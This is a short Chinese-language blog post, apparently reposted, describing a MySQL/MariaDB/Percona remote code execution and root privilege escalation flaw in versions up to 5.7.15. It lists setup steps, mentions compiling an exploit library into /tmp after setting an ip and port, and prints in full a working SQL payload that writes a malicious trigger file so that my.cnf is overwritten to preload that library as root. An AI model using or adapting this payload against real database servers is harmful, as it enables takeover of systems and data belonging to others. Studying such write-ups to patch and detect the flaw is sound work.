MySQL <= 5.7.15 遠程代碼執行/ 提權 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影響,包括: MariaDB PerconaDB
建立bob用戶,並賦予file,select,insert權限,建立用於實驗的數據庫activedb和表active_table
將exp先寫入tmp目錄,並編譯成so文件,須要修改一下ip,port和my.cnf的位置python
select "TYPE=TRIGGERS\ntriggers='CREATE DEFINER=`root`@`localhost` TRIGGER active_table\nAFTER INSERT\n ON `active_table` FOR EACH ROW\nBEGIN\n DECLARE void varchar(550);\n set global general_log_file=\\\'/etc/mysql/my.cnf\\\';\n set global general_log = on;\n select \"\n[mysqld]\nmalloc_lib=\\\'/tmp/mysql_hookandroot_lib.so\\\'\n\" INTO void; \n set global general_log = off;\nEND'\nsql_modes=1073741824\ndefiners='root@localhost'\nclient_cs_names='latin1'\nconnection_cl_names='latin1_swedish_ci'\ndb_cl_names='latin1_swedish_ci'" into dumpfile '/var/lib/mysql/activedb/active_table.TRG';
發現可寫的my.cnf會被忽略???不知道爲何(難道打補丁了?),不知道5.5的狀況會怎麼樣,因此先把my.cnf的權限改回來744mysql
文章轉發至:http://blog.0kami.cn/2016/09/18/cve-2016-6663-mysql-exp/sql